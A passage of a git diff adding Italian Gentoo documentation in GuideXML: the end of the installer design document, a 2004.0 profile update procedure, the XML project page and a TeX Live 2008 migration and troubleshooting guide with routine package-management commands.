+due stabiliscono cosa deve essere considerato pubblico nello sviluppo di client.
+</p>
+
+</body>
+</section>
+<section>
+<title>Server di deployment</title>
+<body>
+
+<p>
+Il terzo componente è probabilmente di solo interesse per coloro che usano la
+caratteristica di deployment automatico dell'installer. Il server di deployment
+è attualmente solo una combinazione di servizi e file.
+</p>
+
+<p>
+I profili di installazione possono essere immagazzinati su una macchina e
+forniti usando un server rsync. Il client (o, più precisamente, chi sta dietro
+ad esso, ovvero il back-end) recupererà tutti i profili disponibili una volta
+data la URI del server rsync. Questa è la parte principale del componente.
+</p>
+
+<p>
+Il server di deployment può anche eseguire servizi come tftp e dhcp così da
+facilitare l'avvio da rete per installazioni in larga scala. Normalmente ciò
+richiede il supporto per l'avvio da rete nella macchina client, ma cd-live
+personalizzati con tale supporto potrebbero essere resi disponibili da Gentoo.
+</p>
+
+<p>
+In poche parole, il server di deployment non è un demone specifico o un
+servizio, ma una combinazione di servizi standard e liberamente accessibili.
+L'idea è di trovare un vantaggio nell'uso di servizi che potrebbero già essere
+in esecuzione sulla rete dell'utente.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Processo</title>
+<section>
+<body>
+
+<p>
+Il processo attuale riguardante quali passi intraprendere e in quale ordine e
+come operare è determinato principalmente dal modello architetturale. Per gran
+parte, lo schema dell'architettura replicherà i passi discussi nel manuale di
+installazione di Gentoo.
+</p>
+
+<p>
+Gli schemi per architetture speciali come il già citato SELinux possono usare
+questo stesso meccanismo per modificare il processo di base. Il modello
+architetturale sovrascriverà il comportamento predefinito con uno generico. Così
+facendo, ogni architettura non dovrà specificare cose come la sincronizzazione
+con l'albero di portage, l'emerge del sistema di base, o altri passi che tutte
+le architetture devono comunque intraprendere.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Contatti</title>
+<section>
+<body>
+
+<p>
+Gli sviluppatori che lavorano al progetto Gentoo Linux Installer si ritrovano
+prevalentemente in due posti. Il canale IRC #gentoo-installer (su Freenode) è il
+forum di discussione principale dove molte questioni sono esposte e discusse in
+tempo reale. Questo è di solito il posto preferito per discussioni che vanno più
+a fondo. Per discussioni più generiche esiste un'apposita mailing list dedicata
+all'installer. È possibile iscriversi inviando una email all'indirizzo
+gentoo-installer+subscribe@lists.gentoo.org.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Autori e Partecipanti</title>
+<section>
+<body>
+
+<p>
+Tutte le informazioni in questo documento sono state estratte da diverse
+conversazioni in svariati posti.
+</p>
+
+<p>
+In #gentoo-installer, blackace, dams, esammer, iggy, karltk, klieber, Method,
+pauldv, port001, Ramereth, Rupart, spyerdous, npmmcullum, e tseng. Anche altri
+sono passati per un attimo e hanno dato una mano, ma queste persone sono
+attualmente inattive al momento della stesura del documento.
+</p>
+
+<p>
+La mailing list desktop-research era il luogo in cui questo progetto ha visto la
+luce per la prima volta come progetto ufficiale di Gentoo con il team attuale.
+Grazie anche a tutte queste persone.
+</p>
+
+<p>
+Il canale #gentoo-server è stato utile per fare saltare fuori molti problemi del
+deployment automatico e diverse raccomandazioni. Grazie a tutti loro.
+</p>
+
+<p>
+Questo documento è un riferimento cumulativo ed è il frutto del lavoro di ognuno
+nella comunità di Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/releng/release/2004.0/releng/profile-update.xml b/xml/htdocs/proj/it/releng/release/2004.0/releng/profile-update.xml
new file mode 100644
index 00000000..331160be
--- /dev/null
+++ b/xml/htdocs/proj/it/releng/release/2004.0/releng/profile-update.xml
@@ -0,0 +1,85 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="profile-update.xml" lang="it">
+<title>Procedura di aggiornamento del profilo a 2004.0</title>
+
+<author title="Author">
+  <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="Traduzione">
+  <mail link="ludovico.poggioli@tiscali.it">Ludovico Poggioli</mail>
+</author>
+
+<abstract>
+	Questa guida spiega la filosofia ed il procedimento dietro al cambiamento dello
+	schema dei nomi avvenuto con il 2004.0.
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>2004-01-15</date>
+
+<chapter>
+	<title>Filosofia</title>
+
+	<section>
+	<title>Background</title>
+	<body>
+		<p>Comunemente chiamati profili di sistema, i profili di Portage ubicati in 
+		<c>/usr/portage/profiles</c> sono le fondamenta di ogni sistema Gentoo Linux.
+		Non solo i profili specificano quali CFLAGS ed arch KEYWORDS usare, ma legano
+		altresì il sistema a determinate versioni dei pacchetti. Il profilo è letto da Portage
+		attraverso il simlink <c>/etc/make.profile</c> che viene creato durante la creazione
+		dello stage.</p>
+
+		<p>Esistono attualmente due problemi con il corrente profilo di sistema. Innanzitutto la versione 1.4
+		che contraddistingue virtualmente tutti i sistemi Gentoo è superata dal nuovo 
+		schema di rilascio. In secondo luogo il profilo di sistema corrente non scala bene. La  
+		creazione di un profilo comporta un numero elevato di duplicati. Tutti i profili condividono 
+		dati comuni, ma attualmente non c'è modo di astrarre o far condividere questi dati.</p>
+
+		<p>Il primo problema deve essere risolto prima del rilascio della release 2004.0. La 
+		ragione di questa scadenza è semplice - gli utenti non hanno bisogno di utilizzare un profilo che 
+		riporta il vecchio schema di versione 1.x. I cascading profiles sono qualcosa che sarà 
+		implementato dopo la release 2004.0 poichè è un progetto che va oltre la scadenza della 
+		release 2004.0</p>
+	</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Procedura</title>
+
+	<section>
+	<title>Procedura per il cambiamento di profilo</title>
+	<body>
+		<p>L'aggiornamento al profilo 2004.0 può essere effettuato con i seguenti passi:</p>
+		
+		<pre caption="Procedura per il cambiamento di profilo">
+1. cp -a default-$arch-1.4 default-$arch-2004.0
+2. echo "default-$arch-2004.0" > /usr/portage/profiles/default-$arch-1.4/deprecated
+3. Modificate il vostro catalyst spec file per utilizzare il nuovo nome del profilo.
+		</pre>
+
+		<p>Il primo passo aggiorna il vecchio profilo al nuovo schema dei nomi.
+		Il Secondo passo usa la feature deprecated di Portage (>=2.0.50). Il file <c>deprecated</c>
+		non solo indica un profilo come obsoleto, ma il suo contenuto viene utilizzato da Portage per 
+		sapere quale profilo utilizzare come vecchio profilo.
+		Il terzo passo si spiega da solo - cambia la linea <c>rel_version</c> nel vostro file spec di 
+		catalyst da <c>1.4</c> a <c>2004.0</c>. </p>
+
+		<p>Se si volesse aggiornare il link del profilo senza costruire un nuovo stageset, basterà 
+		effettuare il chroot negli stages e correggere il link manualmente. Per correggere un 
+		Portage tarball già costruito, si dovrà scompattarlo e sostituire la directory <c>profiles</c> 
+		con una nuova presa dai mirror. </p>
+		
+	</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/site.xml b/xml/htdocs/proj/it/site.xml
new file mode 100644
index 00000000..c82fbf27
--- /dev/null
+++ b/xml/htdocs/proj/it/site.xml
@@ -0,0 +1,76 @@
+<?xml version='1.0'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/site.xml,v 1.5 2010/08/26 18:03:36 scen Exp $ -->
+
+<guide type="project" link="/proj/it/site.xml" lang="it">
+<title>Pagina di progetti XML</title>
+
+<author title="Autore">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Traduzione">
+  Stefano Pacella
+</author>
+
+<abstract>
+Questa pagina contiene informazioni sulla "guida" del progetto XML, usato per
+la documentazione Gentoo Linux e per il sito web.
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guida XML</title>
+
+<section>
+<body>
+
+<p>
+Il team di Gentoo Linux usa un semplice formato speciale XML chiamato <c>guida
+XML</c> per tutta la sua documentazione e per le pagine web. Se si è interessati
+a sapere qualcosa in più su questo formato, leggere le serie <e>Un sito
+ridisegnato</e> degli articoli <uri link="http://www.ibm.com/developerworks">IBM
+developerWorks</uri>,  scritti da Daniel Robbins:
+</p>
+
+<ul>
+  <li>
+    Nella <uri link="/doc/it/articles/l-redesign-1.xml">Parte 1</uri>, Daniel
+    crea un piano centrato sugli utenti e introduce <c>pytext</c>, un interprete
+    embedded di Python.
+  </li>
+  <li>
+    Nella <uri link="/doc/it/articles/l-redesign-2.xml">Parte 2</uri>, Daniel
+    mostra il nuovo sistema di documentazione <c>guida XML</c> e imposta una
+    mailing list giornaliera di log del CVS.
+  </li>
+  <li>
+    Nella <uri link="/doc/it/articles/l-redesign-3.xml">Parte 3</uri> Daniel
+    disegna un nuovo look per il sito.
+  </li>
+  <li>
+    Nella <uri link="/doc/it/articles/l-redesign-4.xml">Parte 4</uri> Daniel
+    completa la conversione a XML/XSLT, ripara errori nella compatibilità del
+    browser Netscape 4.x, e aggiunge un Changelog XML auto generato al sito.
+  </li>
+</ul>
+
+<p>
+C'è anche una <uri link="/doc/it/xml-guide.xml">Guida a Gentoo XML</uri> che
+spiega come usare il formato <c>guida XML</c>.
+<!--
+You can
+download the latest version of all our <c>guide XML</c> tools by grabbing this file, which actually contains a CVS snapshot of all the files used to create the Web site: <uri
+link="/dyn/arch/xml-guide-latest.tar.gz">xml-guide-latest.tar.gz</uri>.  This
+tarball is automatically regenerated every time the Gentoo Linux Web site
+is updated, so it will always be current.  Instructions on how to use the
+included files can be found in the <uri link="/doc/en/xml-guide.xml">Gentoo Linux Documentation Guide</uri> (FYI, this
+tarball contains a snapshot of the <path>gentoo-web</path> directory from our <path>gentoo-src</path> CVS module.)
+-->
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/tex/texlive-migration-guide.xml b/xml/htdocs/proj/it/tex/texlive-migration-guide.xml
new file mode 100644
index 00000000..598b258d
--- /dev/null
+++ b/xml/htdocs/proj/it/tex/texlive-migration-guide.xml
@@ -0,0 +1,583 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/tex/texlive-migration-guide.xml,v 1.4 2009/05/21 21:09:17 scen Exp $ -->
+
+<guide link="/proj/it/tex/texlive-migration-guide.xml" lang="it">
+<title>Guida a TeX Live 2008</title>
+
+<author title="Autore">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+
+<author title="Traduzione">
+  <mail link="menegolo_andrea@yahoo.it">Andrea Menegolo</mail>
+</author>
+
+<abstract>
+In questa guida si mostra come installare TeX Live 2008 su Gentoo, senza
+tralasciare i passaggi da effettuare nel caso in cui sia già presente una
+distribuzione TeX nel sistema (come tetex o TeX Live 2005).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2009-04-15</date>
+
+<chapter id="uninstall">
+<title>Disinstallazione di una distribuzione precedentemente installata</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+In questa sezione si assume che <c>>=app-text/tetex-3</c> sia installato sul
+proprio sistema. Si può seguire la stessa procedura anche nel caso in cui sia
+installato <c>app-text/texlive-2005</c>. Purtroppo non è sufficiente eseguire
+la rimozione dei relativi pacchetti.
+</p>
+
+</body>
+</section>
+<section>
+<title>Salvataggio della configurazione esistente</title>
+<body>
+
+<p>
+Se si è personalizzata la configurazione di <c>tetex</c> modificando i file
+contenuti in <path>/etc/texmf</path>, è necessario salvare il contenuto di tale
+directory:
+</p>
+
+<pre caption="Salvataggio dei file di configurazione">
+$ <i>cp -rf /etc/texmf ~/tetex-texmf</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Rimozione di tetex</title>
+<body>
+
+<p>
+Ora si può disinstallare <c>tetex</c> in tutta sicurezza:
+</p>
+
+<pre caption="Rimozione di tetex">
+# <i>emerge -C tetex</i>
+</pre>
+
+<p>
+È stata segnalata la comparsa di errori durante l'unmerge. Ciò potrebbe accadere
+se, nella directory <path>/etc/texmf</path>, sono presenti file di
+configurazione anomali. Per sicurezza e per un'installazione pulita di <c>TeX
+Live</c> si raccomanda di rimuovere il file
+<path>/etc/texmf/texmf.d/00texmf.cnf</path>:
+</p>
+
+<pre caption="Pulizia della directory /etc/texmf">
+# <i>rm /etc/texmf/texmf.d/00texmf.cnf</i>
+</pre>
+
+<note>
+Rimuovendo tale file non si rischia di perdere la configurazione della
+precedente distribuzione TeX poiché tutta la directory è stata salvata
+precedentemente.
+</note>
+
+<p>
+Poiché <c>tetex</c> usa <c>texlinks</c> che il gestore di pacchetti non riesce a
+controllare, la rimozione del pacchetto lascia nel sistema alcuni collegamenti
+simbolici:
+</p>
+
+<pre caption="Collegamenti simbolici di tetex">
+$ <i>ls -l /usr/bin/pdftex</i>
+lrwxrwxrwx 1 root root 7 2007-07-09 07:34 /usr/bin/pdftex -> pdfetex
+</pre>
+
+<p>
+Sicuramente pdfetex à stato cancellato con la rimozione di <c>tetex</c>, quindi
+pdftex è un collegamento simbolico che punta ad un file inesistente e può essere
+rimosso senza problemi. Si può utilizzare il comando <c>find</c> per trovare e
+rimuovere questo e altri collegamenti simbolici in modo interattivo:
+</p>
+
+<pre caption="Rimozione interattiva dei collegamenti simbolici morti">
+# <i>find /usr/bin -type l ! -xtype f ! -xtype d -ok rm -f {} \;</i>
+
+&lt; rm ... /usr/bin/pdflatex &gt; ? y
+&lt; rm ... /usr/bin/amstex &gt; ? y
+&lt; rm ... /usr/bin/pdftex &gt; ? y
+&lt; rm ... /usr/bin/eplain &gt; ? y
+&lt; rm ... /usr/bin/jadetex &gt; ? y
+&lt; rm ... /usr/bin/lambda &gt; ? y
+&lt; rm ... /usr/bin/pdfamstex &gt; ? y
+&lt; rm ... /usr/bin/elatex &gt; ? y
+&lt; rm ... /usr/bin/lamed &gt; ? y
+&lt; rm ... /usr/bin/pdfjadetex &gt; ? y
+&lt; rm ... /usr/bin/latex &gt; ? y
+</pre>
+
+<p>
+Questi sono i file della distribuzione <c>tetex</c> dell'autore rimasti nel
+sistema successivamente alla rimozione del pacchetto.
+</p>
+
+<p>
+<c>tetex</c>, per generare file per la formattazione, utilizza <c>fmtutil</c>
+che anche in questo caso non può venire controllato in modo appropriato dal
+gestore di pacchetti. Con <c>TeX Live 2008</c> la maggior parte dei file di
+formattazione vengono scritti durante il processo di compilazione dei pacchetti;
+tali file vengono installati in <path>/var/lib/texmf</path>. Ci si deve quindi
+assicurare che non siano presenti file di formattazione strani in tale
+directory:
+</p>
+
+<pre caption="Rimozione di file di formattazione strani">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installazione di TeX Live 2008</title>
+<section>
+<body>
+
+<p>
+Se sono stati seguiti tutti i passaggi fin qui presentati, l'installazione di
+<c>TeX Live 2008</c> risulterà molto semplice.
+</p>
+
+<pre caption="Installazione di TeX Live 2008">
+# <i>emerge texlive</i>
+</pre>
+
+<p>
+In teoria con questo comando verrà installato tutto senza riscontrare problemi.
+Si potrebbero voler modificare le USE flag di <c>app-text/texlive</c> al fine di
+installare dei pacchetti TeX aggiuntivi, ma questa operazione può venir
+effettuata anche successivamente; <c>app-text/texlive</c> è solo un meta-ebuild
+le cui dipendenze sono influenzate dalle USE flag impostate. Ad ogni USE flag
+corrisponde uno o più pacchetti TeX da cui <c>app-text/texlive</c> dipenderà.
+</p>
+
+<p>
+È possibile che si incontrino dei problemi per quanto riguarda dipendenze non
+soddisfatte, errori durante la compilazione, ecc. In questi casi si è pregati di
+aprire un bug su <uri>https://bugs.gentoo.org</uri>. A tal proposito è utile
+fornire le informazioni relative all'errore riscontrato includendo inoltre come
+allegato l'output di <c>texconfig conf</c> (comando da eseguire con lo stesso
+nome utente che non è riuscito a portare a termine l'installazione, al fine di
+conservare le stesse variabili d'ambiente); l'output di questo comando è infatti
+richiesto nella maggior parte dei casi.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurazione</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Come per <c>tetex-3</c>, <c>TeX Live</c> su <c>Gentoo</c> ha tre distinti file
+di configurazione principali gestiti da <c>texmf-update</c>. Questi file sono
+<path>texmf.cnf</path>, <path>fmtutil.cnf</path> e <path>updmap.cfg</path>.
+Risiedono nella directory <path>/etc/texmf/web2c</path>; essi non dovrebbero
+venire modificati direttamente poiché ogni cambiamento verrebbe perso
+all'esecuzione di <c>texmf-update</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title> texmf.cnf </title>
+<body>
+
+<p>
+Il file <path>texmf.cnf</path> è il principale file di configurazione della
+distribuzione TeX. Esso contiene le definizioni di variabili utilizzate da molti
+programmi.
+</p>
+
+<p>
+Il file <path>texmf.cnf</path> viene generato concatenando i file contenuti in
+<path>/etc/texmf/texmf.d</path>. Per modificare la configurazione dell'ambiente
+TeX, è necessario modificare i file contenuti in tale directory. Allo stato
+attuale l'ebuild di <c>Gentoo TeX Live</c> installa sei file i questo percorso:
+</p>
+
+<pre caption="File installati in texmf.d">
+00header.cnf
+05searchpaths.cnf
+10standardpaths.cnf
+15options.cnf
+20sizes.cnf
+25misc.cnf
+</pre>
+
+<p>
+Ogni file corrisponde ad una sezione del file (leggermente modificato)
+<path>texmf.cnf</path> presente nel DVD di <c>TeX Live 2008</c>.
+</p>
+
+<p>
+I file <path>00header.cnf</path>, <path>05searchpaths.cnf</path>,
+<path>10standardpaths.cnf</path> e <path>25misc.cnf</path> non dovrebbero venire
+modificati. Se si ritiene che le impostazioni predefinite potrebbero essere
+migliorate, si prega di aprire un bug segnalando le migliorie che si vorrebbero
+apportare a tali file.
+</p>
+
+<warn>
+Gli ebuild di <c>TeX Live</c> non possono tener conto di cambiamenti apportati
+nei percorsi definiti in tali file. Se si apportano dei cambiamenti, assicurarsi
+di sapere cosa si sta facendo.
+</warn>
+
+<p>
+I file <path>15options.cnf</path> e <path>20sizes.cnf</path> possono venire
+modificati prestando un po' di attenzione. I commenti presenti in questi file
+forniscono una guida per capire il significato di ogni impostazione. Per
+esempio, in <path>20sizes.cnf</path> si può aumentare la quantità di memoria
+utilizzata da TeX, utile nel caso in cui si incorra nell'errore <c>TeX capacity
+exceeded, sorry</c> durante la compilazione di un documento molto grosso.
+</p>
+
+<p>
+Nel caso si vogliano fare delle aggiunte al contenuto di <path>texmf.cnf</path>,
+c'è la possibilità di creare un nuovo file nella directory
+<path>/etc/texmf/texmf.d</path>, chiamandolo per esempio
+<path>99mieaggiunte.cnf</path>. È comunque necessario che il nome del nuovo file
+cominci con un numero maggiore di <c>25</c> al fine di conferirgli una priorità
+inferiore a quella dei file di configurazione principali.
+</p>
+
+<p>
+La creazione di un nuovo file in <path>texmf.d</path> è prevista anche nel caso
+di pacchetti che prevedono l'aggiunta al file <path>texmf.cnf</path> di qualche
+impostazione:
+</p>
+
+<pre caption="Codice di esempio per installare un file in texmf.d">
+<keyword>insinto</keyword> <const>/etc/texmf/texmf.d</const>
+<keyword>doins</keyword> <const>40mieaggiunteatexmf.cnf</const>
+</pre>
+
+</body>
+</section>
+<section>
+<title>updmap.cfg</title>
+<body>
+
+<p>
+Il file di configurazione <path>updmap.cfg</path> è utilizzato da <c>updmap</c>
+(e <c>updmap-sys</c>), a meno che non sia specificato diversamente. Esso
+fornisce delle informazioni per quanto riguarda le mappe di caratteri da
+utilizzare a seconda del driver di output di TeX che si sta utilizzando.
+</p>
+
+<p>
+Il file <path>updmap.cfg</path> in <path>/etc/texmf/web2c</path> è ottenuto
+concatenando i file nella directory <path>/etc/texmf/updmap.d</path>. Il file di
+iniziale <path>00updmap.cfg</path> installato dal pacchetto
+<c>app-text/texlive-core</c> è ottenuto eseguendo il comando <c>updmap
+--syncwithtrees</c> sull'albero di <c>texmf</c> presente nel sistema
+(praticamente l'esecuzione di <c>updmap --syncwithtrees</c> viene solo simulata,
+ma questo è solo un dettaglio tecnico).
+</p>
+
+<p>
+Più di un ebuild di <c>TeX Live</c>, al momento dell'installazione di font,
+aggiungeranno dei file in <path>/etc/texmf/updmap.d</path>. Al fine di
+disabilitare qualche mappa di caratteri si possono modificare tali file, ma è
+preferibile rimuovere i pacchetti coinvolti.
+</p>
+
+<p>
+Se un pacchetto di terze parti installa una nuova mappa di caratteri, essi
+dovrebbe installare un file in <path>/etc/texmf/updmap.d</path> e lasciare che
+sia <c>texmf-update</c> ad occuparsi del resto.
+</p>
+
+<warn>
+Può capitare di vedere <c>updmap-sys --enable Map=mymap.map</c> in qualche
+ebuild o nelle istruzioni di installazione di un pacchetto di terze parti per
+l'installazione di un nuovo font. Mentre tutto sembrerà funzionare
+nell'immediato futuro, tutti i cambiamenti apportati da tale comando vengono
+annullati la prima volta che verrà eseguito <c>texmf-update</c>.
+</warn>
+
+<p>
+Un modo migliore di installare tali pacchetti è quello di creare un file nella
+directory <path>/etc/texmf/updmap.d</path> nel caso di distribuzioni di TeX che
+utilizzano <c>texmf-update</c>:
+</p>
+
+<pre caption="Abilitare una nuova mappa di caratteri">
+<keyword>inherit</keyword> <ident>latex-package</ident>
+...
+<stmt>src_install()</stmt> {
+    ...
+    <keyword>if</keyword> <stmt>latex-package_has_tetex_3</stmt>; then
+        <keyword>insinto</keyword> /etc/texmf/updmap.d
+        <keyword>doins</keyword> myfontmapconfig.cfg
+    <keyword>fi</keyword>
+    ...
+}
+...
+<stmt>pkg_postinst()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --enable Map=mymap.map
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --disable Map=mymap.map
+}
+</pre>
+
+<p>
+I file presenti in <path>/etc/texmf/updmap.d</path> devono rispettare la
+sintassi di <c>updmap</c>:
+</p>
+
+<pre caption="Frammento di updmap.cfg che spiega la sintassi">
+Ci sono due possibili voci: Map e MixedMap. Entrambi richiedono un argomento: il
+nome del file che contiene la mappa. Le linee di MixedMap ("mixed" significa che
+il file è disponibile sia bitmap che vettoriale) non vengono utilizzati da dvips
+se dvipsPreferoutline è settato a "false". File Map da disattivare devono essere
+marcati con "#! " (senza le virgolette), e non solo da #.
+</pre>
+
+</body>
+</section>
+<section>
+<title>fmtutil.cnf</title>
+<body>
+
+<p>
+Il file <path>fmtutil.cnf</path> contiene le informazioni necessarie per
+costruire  e maneggiare un file di formato.
+</p>
+
+<p>
+<path>fmtutil.cnf</path> è ottenuto concatenando i file in
+<path>/etc/texmf/fmtutil.d</path>. Vari ebuild di <c>TeX Live</c> installano dei
+file in questa directory. Questi file sono accompagnati dai file di formato
+corrispondenti e dal link simbolico al motore pertinente.
+</p>
+
+<pre caption="Frammento della pagina di man di fmtutil.cnf(5) che spiega la
+sintassi">
+Il file fmtutil.cnf contiene le informazioni di configurazione per fmtutil(8).
+Ogni linea contiene in nome del formato (per esempio "tex", "latex", "omega"),
+il nome del motore utilizzato per quel formato (per esempio "tex", "etex",
+"omega"), il file che definisce lo schema o "pattern" (per esempio language.dat,
+language.def), e altri argomenti (il nome di qualche file .ini).
+
+I campi sono separati da spazi bianchi e linee intere possono venir commentate
+con "#". Il campo corrispondente al "pattern file" non può venir usato per
+definire un file che è utilizzato durante il processo di costruzione del
+formato. Esso dice a fmtutil quale file usare nel processo di creazione del
+formato e ha degli effetti anche sulle opzioni --showhyphen e --byhyphen. Se il
+formato non definisce come personalizzare il ritorno a capo, può essere usato un
+"-" per indicare lo stesso.
+</pre>
+
+<p>
+Ebuild di <c>TeX Live</c> che installano un file in <path>fmtutil.d</path>,
+installano anche il relativo file di formato in
+<path>/var/lib/texmf/web2c</path> e creano il collegamento simbolico dal formato
+al motore.
+</p>
+
+<p>
+Si noti che quando viene installato un file per aggiungere il supporto ad una
+nuova lingua, <c>texmf-update</c> si occupa di aggiungere tale file in
+<path>language.dat</path> e di rigenerare i file di formato per aggiungere il
+supporto alla lingua appena installata.
+</p>
+
+</body>
+</section>
+<section>
+<title>Personalizzare la configurazione</title>
+<body>
+
+<p>
+Ora che si sa come <c>TeX Live</c> gestisce la configurazione, si dovrebbe
+essere in grado di fare quei cambiamenti che erano presenti nella vecchia
+distribuzione di TeX.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errori comuni</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+In questo capitolo vengono presentati gli errori più comuni in cui si può
+incappare, con una spiegazione della causa del malfunzionamento.
+</p>
+
+</body>
+</section>
+<section>
+<title>Il formato era scritto con (pdf)etex</title>
+<body>
+
+<p>
+A volte durante l'installazione di qualche pacchetto che richiede latex, ci si
+può trovare di fronte al seguente errore:
+</p>
+
+<pre caption="Formato scritto con pdfetex">
+---! //var/lib/texmf/web2c/latex.fmt was written by pdfetex
+</pre>
+
+<p>
+Questo errore è dovuto alla presenza nel sistema di alcuni vecchi file di una
+distribuzione di <c>TeX</c> basata su <c>etex</c>. Questo significa che la guida
+non è stata seguita scrupolosamente, specialmente per quanto riguarda il
+capitolo <uri link="#uninstall">Disinstallazione di una distribuzione
+precedentemente installata</uri>.
+</p>
+
+<p>
+È possibile risolvere il problema senza dover reinstallare nulla; si eseguano i
+seguenti comandi come utente root:
+</p>
+
+<pre caption="Rimuovere vecchi formati">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+# <i>texmf-update</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Directory dei formati non esistente</title>
+<body>
+
+<p>
+Quando si installa per esempio <c>texlive-latex</c>, si può incontrare il
+seguente errore:
+</p>
+
+<pre caption="Directory dei formati non esistente">
+fmtutil: format directory
+`/var/tmp/portage/dev-texlive/texlive-latex-2007/work/texmf-var/web2c' does not exist.
+</pre>
+
+<p>
+Questo è dovuto probabilmente ad una configurazione errata. Si provi ad eseguire
+il seguente comando e verificare se si ottiene lo stesso output:
+</p>
+
+<pre caption="Valore della variabile TEXMFMAIN">
+$ <i>kpsewhich --var-value=TEXMFMAIN</i>
+/usr/share/texmf
+</pre>
+
+<p>
+Questo è molto importante, perché <c>fmtutil</c> cerca <c>mktexdir</c> in tale
+directory; se si ottiene un output differente allora <c>fmtutil</c> non troverà
+<c>mktexdir</c> e quindi non riuscirà a creare la directory in cui salvare
+temporaneamente i file di formato compilati.
+</p>
+
+<p>
+Non ci sono comandi veloci per risolvere questo problema; si controllino i file
+di configurazione o la presenza di strani file in
+<path>/etc/texmf/texmf.d</path>. La causa potrebbe essere anche la presenza di
+una versione vecchia del file <path>00texmf.cnf</path> che imposta delle
+definizioni errate per il file <path>texmf.cnf</path>. Si faccia riferimento al
+capitolo <uri link="#uninstall">Disinstallazione di una distribuzione
+precedentemente installata</uri> e ricordarsi che quando si modifica o rimuove
+un file in <path>/etc/texmf/*.d</path> bisogna eseguire <c>texmf-update</c> per
+applicare correttamente i cambiamenti.
+</p>
+
+</body>
+</section>
+<section>
+<title>file .tex mancante</title>
+<body>
+
+<p>
+Durante l'installazione di <c>texlive-latex</c> (o qualsiasi altro formato che
+supporti la sillabazione attraverso babel), si può riscontrare il seguente
+errore:
+</p>
+
+<pre caption="bghyphen.tex mancante">
+===========================================
+Local configuration file hyphen.cfg used
+===========================================
+
+(/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-dist/tex/generic/ba
+bel/hyphen.cfg (/usr/share/texmf/tex/generic/hyphen/hyphen.tex)
+(/usr/share/texmf/tex/generic/hyphen/ushyphmax.tex)
+(/usr/share/texmf/tex/generic/hyphen/dumyhyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bahyph.tex
+(/usr/share/texmf/tex/generic/hyphen/bahyph.tex))
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bghyphen.tex
+! I can't find file `bghyphen.tex'.
+l.10   \input bghyphen.tex
+
+Please type another input file name:
+! Emergency stop.
+l.10   \input bghyphen.tex
+
+No pages of output.
+Transcript written on latex.log.
+Error: `pdftex -ini  -jobname=latex -progname=latex
+-translate-file=cp227.tcx *latex.ini' failed
+</pre>
+
+<p>
+Si dovrà controllare quale file <path>language.dat</path> viene usato:
+</p>
+
+<pre caption="Trovare il file language.dat usato">
+$ <i>kpsewhich language.dat</i>
+/usr/share/texmf/tex/generic/config/language.dat
+</pre>
+
+<p>
+Questo file è generato automaticamente da <c>texmf-update</c> ed è il risultato
+della concatenazione dei file <path>language.*.dat</path> presenti nella
+directory che contiene <path>language.us</path> (per TeX Live 2008, i file
+<path>language.*.dat</path> sono presi da
+<path>/etc/texmf/language.dat.d/</path>). Questa directory dovrebbe essere
+<path>/usr/share/texmf/tex/generic/config/</path>. Si dovrebbe quindi
+controllare che non vi siano altri file del tipo <path>language.*.dat</path> in
+tale directory oltre a quelli installati dai pacchetti del tipo
+<c>dev-texlive/texlive-lang*</c>. La presenza di un file in tale directory viene
+interpretato come l'intenzione di abilitare la sillabazione per quella lingua
+specifica; se non sono presenti i file di sillabazione corrispondenti i formati
+che supportano la sillabazione non potranno venir costruiti e quindi si verifica
+un errore.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/vps/vserver-howto.xml b/xml/htdocs/proj/it/vps/vserver-howto.xml
new file mode 100644
index 00000000..79e783b8
--- /dev/null
+++ b/xml/htdocs/proj/it/vps/vserver-howto.xml
@@ -0,0 +1,454 @@
